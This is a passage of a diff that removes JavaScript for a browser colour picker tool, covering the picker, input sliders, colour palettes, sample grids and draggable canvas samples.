-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.setHue = function setHue(value) {
-		this.color.setHue(value);
-
-		this.updatePickerBackground();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-		this.notify('hue', this.color.hue);
-
-		notify(this.topic, this.color);
-	};
-
-	// Updates when one of Saturation/Value/Lightness changes
-	ColorPicker.prototype.updateSLV = function updateSLV() {
-		this.updatePickerPosition();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-
-		notify(this.topic, this.color);
-	};
-
-	/*************************************************************************/
-	//				Update positions of various UI elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
-		var size = this.picking_area.clientWidth;
-		var value = 0;
-		var offset = 5;
-
-		if (this.picker_mode === 'HSV')
-			value = this.color.value;
-		if (this.picker_mode === 'HSL')
-			value = this.color.lightness;
-
-		var x = (this.color.saturation * size / 100) | 0;
-		var y = size - (value * size / 100) | 0;
-
-		this.color_picker.style.left = x - offset + 'px';
-		this.color_picker.style.top = y - offset + 'px';
-	};
-
-	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
-		elem.style.left = Math.max(pos - 3, -2) + 'px';
-	};
-
-	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
-		var size = this.hue_area.clientWidth;
-		var offset = 1;
-		var pos = (this.color.hue * size / 360 ) | 0;
-		this.hue_picker.style.left = pos - offset + 'px';
-	};
-
-	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
-		var size = this.alpha_area.clientWidth;
-		var offset = 1;
-		var pos = (this.color.a * size) | 0;
-		this.alpha_picker.style.left = pos - offset + 'px';
-	};
-
-	/*************************************************************************/
-	//						Update background colors
-	/*************************************************************************/
-
-	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
-		var nc = new Color(this.color);
-		nc.setHSV(nc.hue, 100, 100);
-		this.picking_area.style.backgroundColor = nc.getHexa();
-	};
-
-	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
-		this.alpha_mask.style.backgroundColor = this.color.getHexa();
-	};
-
-	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
-		this.preview_color.style.backgroundColor = this.color.getColor();
-	};
-
-	/*************************************************************************/
-	//						Update input elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
-		var value = parseInt(e.target.value);
-		this.setHue(value);
-		this.updateHuePicker();
-	};
-
-	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
-		var value = parseInt(e.target.value);
-		this.color.setSaturation(value);
-		e.target.value = this.color.saturation;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
-		var value = parseInt(e.target.value);
-		this.color.setValue(value);
-		e.target.value = this.color.value;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
-		var value = parseInt(e.target.value);
-		this.color.setLightness(value);
-		e.target.value = this.color.lightness;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('r', value);
-		e.target.value = this.color.r;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('g', value);
-		e.target.value = this.color.g;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('b', value);
-		e.target.value = this.color.b;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
-		var value = parseFloat(e.target.value);
-
-		if (typeof value === 'number' && isNaN(value) === false &&
-			value >= 0 && value <= 1)
-			this.color.a = value.toFixed(2);
-
-		e.target.value = this.color.a;
-		this.updateAlphaPicker();
-	};
-
-	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
-		var value = e.target.value;
-		this.color.setHexa(value);
-		this.setColor(this.color);
-	};
-
-	/*************************************************************************/
-	//							Internal Pub/Sub
-	/*************************************************************************/
-
-	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
-		this.subscribers[topic] = callback;
-	};
-
-	ColorPicker.prototype.notify = function notify(topic, value) {
-		if (this.subscribers[topic])
-			this.subscribers[topic](value);
-	};
-
-	/*************************************************************************/
-	//							Set Picker Properties
-	/*************************************************************************/
-
-	ColorPicker.prototype.setColor = function setColor(color) {
-		if(color instanceof Color !== true) {
-			console.log('Typeof parameter not Color');
-			return;
-		}
-
-		if (color.format !== this.picker_mode) {
-			color.setFormat(this.picker_mode);
-			color.updateHSX();
-		}
-
-		this.color.copy(color);
-		this.updateHuePicker();
-		this.updatePickerPosition();
-		this.updatePickerBackground();
-		this.updateAlphaPicker();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-
-		this.notify('hue', this.color.hue);
-		this.notify('saturation', this.color.saturation);
-		this.notify('value', this.color.value);
-		this.notify('lightness', this.color.lightness);
-
-		this.notify('alpha', this.color.a);
-		this.notify('hexa', this.color.getHexa());
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
-		if (mode !== 'HSV' && mode !== 'HSL')
-			return;
-
-		this.picker_mode = mode;
-		this.node.setAttribute('data-mode', this.picker_mode);
-		this.setColor(this.color);
-	};
-
-	/*************************************************************************/
-	//								UNUSED
-	/*************************************************************************/
-
-	var setPickerMode = function setPickerMode(topic, mode) {
-		if (pickers[topic])
-			pickers[topic].setPickerMode(mode);
-	};
-
-	var setColor = function setColor(topic, color) {
-		if (pickers[topic])
-			pickers[topic].setColor(color);
-	};
-
-	var getColor = function getColor(topic) {
-		if (pickers[topic])
-			return new Color(pickers[topic].color);
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(callback) {
-		subscribers.indexOf(callback);
-		subscribers.splice(index, 1);
-	};
-
-	var notify = function notify(topic, value) {
-		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
-			return;
-
-		var color = new Color(value);
-		for (var i in subscribers[topic])
-			subscribers[topic][i](color);
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-color-picker');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new ColorPicker(elem[i]);
-	};
-
-	return {
-		init : init,
-		Color : Color,
-		RGBColor : RGBColor,
-		RGBAColor : RGBAColor,
-		HSVColor : HSVColor,
-		HSVAColor : HSVAColor,
-		HSLColor : HSLColor,
-		HSLAColor : HSLAColor,
-		setColor : setColor,
-		getColor : getColor,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPickerMode : setPickerMode
-	};
-
-})();
-
-
-
-/**
- * UI-SlidersManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-		input.style.width = 50 + obj.precision * 10 + 'px';
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseFloat(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		return input;
-	};
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-
-			document.addEventListener("mouseup", slideEnd);
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		var slideEnd = function slideEnd(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		};
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		};
-
-		return slider;
-	};
-
-	var InputSlider = function(node) {
-		var min		= parseFloat(node.getAttribute('data-min'));
-		var max		= parseFloat(node.getAttribute('data-max'));
-		var step	= parseFloat(node.getAttribute('data-step'));
-		var value	= parseFloat(node.getAttribute('data-value'));
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-		var precision = node.getAttribute('data-precision') | 0;
-
-		this.min = isNaN(min) ? 0 : min;
-		this.max = isNaN(max) ? 100 : max;
-		this.precision = precision >= 0 ? precision : 0;
-		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit === null ? '' : unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-		value = isNaN(value) ? this.min : value;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	};
-
-	InputSlider.prototype.setInputValue = function setInputValue() {
-		this.input.value = this.value.toFixed(this.precision) + this.unit;
-	};
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = parseFloat(value.toFixed(slider.precision));
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		slider.setInputValue();
-
-		if (send_notify === false)
-			return;
-
-		notify.call(slider);
-	};
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	};
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	};
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	};
-
-	var setStep = function setStep(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.step = parseFloat(value);
-		setValue(topic, slider.value);
-	};
-
-	var setPrecision = function setPrecision(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-		slider.precision = value;
-
-		var step = parseFloat(slider.step.toFixed(value));
-		if (step === 0)
-			slider.step = 1 / Math.pow(10, value);
-
-		setValue(topic, slider.value);
-	};
-
-	var setSensivity = function setSensivity(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-
-		slider.sensivity = value > 0 ? value : 5;
-	};
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	};
-
-	var getPrecision =  function getPrecision(topic) {
-		return sliders[topic].precision;
-	};
-
-	var getStep =  function getStep(topic) {
-		return sliders[topic].step;
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	};
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.value);
-	};
-
-	var createSlider = function createSlider(topic, label) {
-		var slider = document.createElement('div');
-		slider.className = 'ui-input-slider';
-		slider.setAttribute('data-topic', topic);
-
-		if (label !== undefined)
-			slider.setAttribute('data-info', label);
-
-		new InputSlider(slider);
-		return slider;
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	};
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		setStep : setStep,
-		getNode : getNode,
-		getStep : getStep,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPrecision : setPrecision,
-		setSensivity : setSensivity,
-		getPrecision : getPrecision,
-		createSlider : createSlider,
-	};
-
-})();
-
-
-'use strict';
-
-window.addEventListener("load", function() {
-	ColorPickerTool.init();
-});
-
-var ColorPickerTool = (function ColorPickerTool() {
-
-	/*========== Get DOM Element By ID ==========*/
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	function allowDropEvent(e) {
-		e.preventDefault();
-	}
-
-	/*========== Make an element resizable relative to it's parent ==========*/
-
-	var UIComponent = (function UIComponent() {
-
-		function makeResizable(elem, axis) {
-			var valueX = 0;
-			var valueY = 0;
-			var action = 0;
-
-			var resizeStart = function resizeStart(e) {
-				e.stopPropagation();
-				e.preventDefault();
-				if (e.button !== 0)
-					return;
-
-				valueX = e.clientX - elem.clientWidth;
-				valueY = e.clientY - elem.clientHeight;
-
-				document.body.setAttribute('data-resize', axis);
-				document.addEventListener('mousemove', mouseMove);
-				document.addEventListener('mouseup', resizeEnd);
-			};
-
-			var mouseMove = function mouseMove(e) {
-				if (action >= 0)
-					elem.style.width = e.clientX - valueX + 'px';
-				if (action <= 0)
-					elem.style.height = e.clientY - valueY + 'px';
-			};
-
-			var resizeEnd = function resizeEnd(e) {
-				if (e.button !== 0)
-					return;
-
-				document.body.removeAttribute('data-resize', axis);
-				document.removeEventListener('mousemove', mouseMove);
-				document.removeEventListener('mouseup', resizeEnd);
-			};
-
-			var handle = document.createElement('div');
-			handle.className = 'resize-handle';
-
-			if (axis === 'width') action = 1;
-			else if (axis === 'height') action = -1;
-			else axis = 'both';
-
-			handle.className = 'resize-handle';
-			handle.setAttribute('data-resize', axis);
-			handle.addEventListener('mousedown', resizeStart);
-			elem.appendChild(handle);
-		};
-
-		/*========== Make an element draggable relative to it's parent ==========*/
-
-		var makeDraggable = function makeDraggable(elem, endFunction) {
-
-			var offsetTop;
-			var offsetLeft;
-
-			elem.setAttribute('data-draggable', 'true');
-
-			var dragStart = function dragStart(e) {
-				e.preventDefault();
-				e.stopPropagation();
-
-				if (e.target.getAttribute('data-draggable') !== 'true' ||
-					e.target !== elem || e.button !== 0)
-					return;
-
-				offsetLeft = e.clientX - elem.offsetLeft;
-				offsetTop = e.clientY - elem.offsetTop;
-
-				document.addEventListener('mousemove', mouseDrag);
-				document.addEventListener('mouseup', dragEnd);
-			};
-
-			var dragEnd = function dragEnd(e) {
-				if (e.button !== 0)
-					return;
-
-				document.removeEventListener('mousemove', mouseDrag);
-				document.removeEventListener('mouseup', dragEnd);
-			};
-
-			var mouseDrag = function mouseDrag(e) {
-				elem.style.left = e.clientX - offsetLeft + 'px';
-				elem.style.top = e.clientY - offsetTop + 'px';
-			};
-
-			elem.addEventListener('mousedown', dragStart, false);
-		};
-
-		return {
-			makeResizable : makeResizable,
-			makeDraggable : makeDraggable
-		};
-
-	})();
-
-	/*========== Color Class ==========*/
-
-	var Color = UIColorPicker.Color;
-	var HSLColor = UIColorPicker.HSLColor;
-
-	/**
-	 * ColorPalette
-	 */
-	var ColorPalette = (function ColorPalette() {
-
-		var samples = [];
-		var color_palette;
-		var complementary;
-
-		var hideNode = function(node) {
-			node.setAttribute('data-hidden', 'true');
-		};
-
-		var ColorSample = function ColorSample(id) {
-			var node = document.createElement('div');
-			node.className = 'sample';
-
-			this.uid = samples.length;
-			this.node = node;
-			this.color = new Color();
-
-			node.setAttribute('sample-id', this.uid);
-			node.setAttribute('draggable', 'true');
-			node.addEventListener('dragstart', this.dragStart.bind(this));
-			node.addEventListener('click', this.pickColor.bind(this));
-
-			samples.push(this);
-		};
-
-		ColorSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		ColorSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
-			this.color.copy(color);
-			var hue = (steps * degree + this.color.hue) % 360;
-			if (hue < 0) hue += 360;
-			this.color.setHue(hue);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
-			var saturation = color.saturation + value * steps;
-			if (saturation <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setSaturation(saturation);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
-			var lightness = color.lightness + value * steps;
-			if (lightness <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setLightness(lightness);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
-			var brightness = color.value + value * steps;
-			if (brightness <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setValue(brightness);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
-			var alpha = parseFloat(color.a) + value * steps;
-			if (alpha <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.a = parseFloat(alpha.toFixed(2));
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.pickColor = function pickColor() {
-			UIColorPicker.setColor('picker', this.color);
-		};
-
-		ColorSample.prototype.dragStart = function dragStart(e) {
-			e.dataTransfer.setData('sampleID', this.uid);
-			e.dataTransfer.setData('location', 'palette-samples');
-		};
-
-		var Palette = function Palette(text, size) {
-			this.samples = [];
-			this.locked = false;
-
-			var palette = document.createElement('div');
-			var title = document.createElement('div');
-			var controls = document.createElement('div');
-			var container = document.createElement('div');
-			var lock = document.createElement('div');
-
-			container.className = 'container';
-			title.className = 'title';
-			palette.className = 'palette';
-			controls.className = 'controls';
-			lock.className = 'lock';
-			title.textContent = text;
-
-			controls.appendChild(lock);
-			container.appendChild(title);
-			container.appendChild(controls);
-			container.appendChild(palette);
-
-			lock.addEventListener('click', function () {
-				this.locked = !this.locked;
-				lock.setAttribute('locked-state', this.locked);
-			}.bind(this));
-
-			for(var i = 0; i < size; i++) {
-				var sample = new ColorSample();
-				this.samples.push(sample);
-				palette.appendChild(sample.node);
-			}
-
-			this.container = container;
-			this.title = title;
-		};
-
-		var createHuePalette = function createHuePalette() {
-			var palette = new Palette('Hue', 12);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 12; i++) {
-					palette.samples[i].updateHue(color, 30, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var createSaturationPalette = function createSaturationPalette() {
-			var palette = new Palette('Saturation', 11);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 11; i++) {
-					palette.samples[i].updateSaturation(color, -10, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		/* Brightness or Lightness - depends on the picker mode */
-		var createVLPalette = function createSaturationPalette() {
-			var palette = new Palette('Lightness', 11);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				if(color.format === 'HSL') {
-					palette.title.textContent = 'Lightness';
-					for(var i = 0; i < 11; i++)
-						palette.samples[i].updateLightness(color, -10, i);
-				}
-				else {
-					palette.title.textContent = 'Value';
-					for(var i = 0; i < 11; i++)
-						palette.samples[i].updateBrightness(color, -10, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var isBlankPalette = function isBlankPalette(container, value) {
-			if (value === 0) {
-				container.setAttribute('data-collapsed', 'true');
-				return true;
-			}
-
-			container.removeAttribute('data-collapsed');
-			return false;
-		};
-
-		var createAlphaPalette = function createAlphaPalette() {
-			var palette = new Palette('Alpha', 10);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 10; i++) {
-					palette.samples[i].updateAlpha(color, -0.1, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var getSampleColor = function getSampleColor(id) {
-			if (samples[id] !== undefined && samples[id]!== null)
-				return new Color(samples[id].color);
-		};
-
-		var init = function init() {
-			color_palette = getElemById('color-palette');
-
-			createHuePalette();
-			createSaturationPalette();
-			createVLPalette();
-			createAlphaPalette();
-
-		};
-
-		return {
-			init : init,
-			getSampleColor : getSampleColor
-		};
-
-	})();
-
-	/**
-	 * ColorInfo
-	 */
-	var ColorInfo = (function ColorInfo() {
-
-		var info_box;
-		var select;
-		var RGBA;
-		var HEXA;
-		var HSLA;
-
-		var updateInfo = function updateInfo(color) {
-			if (color.a | 0 === 1) {
-				RGBA.info.textContent = 'RGB';
-				HSLA.info.textContent = 'HSL';
-			}
-			else {
-				RGBA.info.textContent = 'RGBA';
-				HSLA.info.textContent = 'HSLA';
-			}
-
-			RGBA.value.value = color.getRGBA();
-			HSLA.value.value = color.getHSLA();
-			HEXA.value.value = color.getHexa();
-		};
-
-		var InfoProperty = function InfoProperty(info) {
-
-			var node = document.createElement('div');
-			var title = document.createElement('div');
-			var value = document.createElement('input');
-			var copy = document.createElement('div');
-
-			node.className = 'property';
-			title.className = 'type';
-			value.className = 'value';
-			copy.className = 'copy';
-
-			title.textContent = info;
-			value.setAttribute('type', 'text');
-
-			copy.addEventListener('click', function() {
-				value.select();
-			});
-
-			node.appendChild(title);
-			node.appendChild(value);
-			node.appendChild(copy);
-
-			this.node = node;
-			this.value = value;
-			this.info = title;
-
-			info_box.appendChild(node);
-		};
-
-		var init = function init() {
-
-			info_box = getElemById('color-info');
-
-			RGBA = new InfoProperty('RGBA');
-			HSLA = new InfoProperty('HSLA');
-			HEXA = new InfoProperty('HEXA');
-
-			UIColorPicker.subscribe('picker', updateInfo);
-
-		};
-
-		return {
-			init: init
-		};
-
-	})();
-
-	/**
-	 * ColorPicker Samples
-	 */
-	var ColorPickerSamples = (function ColorPickerSamples() {
-
-		var samples = [];
-		var nr_samples = 0;
-		var active = null;
-		var container = null;
-		var	samples_per_line = 10;
-		var trash_can = null;
-		var base_color = new HSLColor(0, 50, 100);
-		var add_btn;
-		var add_btn_pos;
-
-		var ColorSample = function ColorSample() {
-			var node = document.createElement('div');
-			node.className = 'sample';
-
-			this.uid = samples.length;
-			this.index = nr_samples++;
-			this.node = node;
-			this.color = new Color(base_color);
-
-			node.setAttribute('sample-id', this.uid);
-			node.setAttribute('draggable', 'true');
-
-			node.addEventListener('dragstart', this.dragStart.bind(this));
-			node.addEventListener('dragover' , allowDropEvent);
-			node.addEventListener('drop'     , this.dragDrop.bind(this));
-
-			this.updatePosition(this.index);
-			this.updateBgColor();
-			samples.push(this);
-		};
-
-		ColorSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		ColorSample.prototype.updatePosition = function updatePosition(index) {
-			this.index = index;
-			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
-			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
-			this.node.style.top  = this.posY + 'px';
-			this.node.style.left = this.posX + 'px';
-		};
-
-		ColorSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.activate = function activate() {
-			UIColorPicker.setColor('picker', this.color);
-			this.node.setAttribute('data-active', 'true');
-		};
-
-		ColorSample.prototype.deactivate = function deactivate() {
-			this.node.removeAttribute('data-active');
-		};
-
-		ColorSample.prototype.dragStart = function dragStart(e) {
-			e.dataTransfer.setData('sampleID', this.uid);
-			e.dataTransfer.setData('location', 'picker-samples');
-		};
-
-		ColorSample.prototype.dragDrop = function dragDrop(e) {
-			e.stopPropagation();
-			this.color = Tool.getSampleColorFrom(e);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.deleteSample = function deleteSample() {
-			container.removeChild(this.node);
-			samples[this.uid] = null;
-			nr_samples--;
-		};
-
-		var updateUI = function updateUI() {
-			updateContainerProp();
-
-			var index = 0;
-			var nr = samples.length;
-			for (var i=0; i < nr; i++)
-				if (samples[i] !== null) {
-					samples[i].updatePosition(index);
-					index++;
-				}
-
-			AddSampleButton.updatePosition(index);
-		};
-
-		var deleteSample = function deleteSample(e) {
-			trash_can.parentElement.setAttribute('drag-state', 'none');
-
-			var location = e.dataTransfer.getData('location');
-			if (location !== 'picker-samples')
-				return;
-
-			var sampleID = e.dataTransfer.getData('sampleID');
-			samples[sampleID].deleteSample();
-			console.log(samples);
-
-			updateUI();
-		};
-
-		var createDropSample = function createDropSample() {
-			var sample = document.createElement('div');
-			sample.id = 'drop-effect-sample';
-			sample.className = 'sample';
-			container.appendChild(sample);
-		};
-
-		var setActivateSample = function setActivateSample(e) {
-			if (e.target.className !== 'sample')
-				return;
-
-			unsetActiveSample(active);
-			Tool.unsetVoidSample();
-			CanvasSamples.unsetActiveSample();
-			active = samples[e.target.getAttribute('sample-id')];
-			active.activate();
-		};
-
-		var unsetActiveSample = function unsetActiveSample() {
-			if (active)
-				active.deactivate();
-			active = null;
-		};
-
-		var getSampleColor = function getSampleColor(id) {
-			if (samples[id] !== undefined && samples[id]!== null)
-				return new Color(samples[id].color);
-		};
-
-		var updateContainerProp = function updateContainerProp() {
-			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
-			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
-			container.style.height = height + 10 + 'px';
-		};
-
-		var AddSampleButton = (function AddSampleButton() {
-			var node;
-			var _index = 0;
-			var _posX;
-			var _posY;
-
-			var updatePosition = function updatePosition(index) {
-				_index = index;
-				_posY = 5 + ((index / samples_per_line) | 0) * 52;
-				_posX = 5 + ((index % samples_per_line) | 0) * 52;
-
-				node.style.top  = _posY + 'px';
-				node.style.left = _posX + 'px';
-			};
-
-			var addButtonClick = function addButtonClick() {
-				var sample = new ColorSample();
-				container.appendChild(sample.node);
-				updatePosition(_index + 1);
-				updateUI();
-			};
-
-			var init = function init() {
-				node = document.createElement('div');
-				var icon = document.createElement('div');
-
-				node.className = 'sample';
-				icon.id = 'add-icon';
-				node.appendChild(icon);
-				node.addEventListener('click', addButtonClick);
-
-				updatePosition(0);
-				container.appendChild(node);
-			};
-
-			return {
-				init : init,
-				updatePosition : updatePosition
-			};
-		})();
-
-		var init = function init() {
-			container = getElemById('picker-samples');
-			trash_can = getElemById('trash-can');
-
-			AddSampleButton.init();
-
-			for (var i=0; i<16; i++) {
-				var sample = new ColorSample();
-				container.appendChild(sample.node);
-			}
-
-			AddSampleButton.updatePosition(samples.length);
-			updateUI();
-
-			active = samples[0];
-			active.activate();
-
-			container.addEventListener('click', setActivateSample);
-
-			trash_can.addEventListener('dragover', allowDropEvent);
-			trash_can.addEventListener('dragenter', function() {
-				this.parentElement.setAttribute('drag-state', 'enter');
-			});
-			trash_can.addEventListener('dragleave', function(e) {
-				this.parentElement.setAttribute('drag-state', 'none');
-			});
-			trash_can.addEventListener('drop', deleteSample);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (active)
-					active.updateColor(color);
-			});
-
-		};
-
-		return {
-			init : init,
-			getSampleColor : getSampleColor,
-			unsetActiveSample : unsetActiveSample
-		};
-
-	})();
-
-	/**
-	 * Canvas Samples
-	 */
-	var CanvasSamples = (function CanvasSamples() {
-
-		var active = null;
-		var canvas = null;
-		var samples = [];
-		var zindex = null;
-		var tutorial = true;
-
-		var CanvasSample = function CanvasSample(color, posX, posY) {
-
-			var node = document.createElement('div');
-			var pick = document.createElement('div');
-			var delete_btn = document.createElement('div');
-			node.className = 'sample';
-			pick.className = 'pick';
-			delete_btn.className = 'delete';
-
-			this.uid = samples.length;
-			this.node = node;
-			this.color = color;
-			this.updateBgColor();
-			this.zIndex = 1;
-
-			node.style.top = posY - 50 + 'px';
-			node.style.left = posX - 50 + 'px';
-			node.setAttribute('sample-id', this.uid);
-
-			node.appendChild(pick);
-			node.appendChild(delete_btn);
-
-			var activate = function activate() {
-				setActiveSample(this);
-			}.bind(this);
-
-			node.addEventListener('dblclick', activate);
-			pick.addEventListener('click', activate);
-			delete_btn.addEventListener('click', this.deleteSample.bind(this));
-
-			UIComponent.makeDraggable(node);
-			UIComponent.makeResizable(node);
-
-			samples.push(this);
-			canvas.appendChild(node);
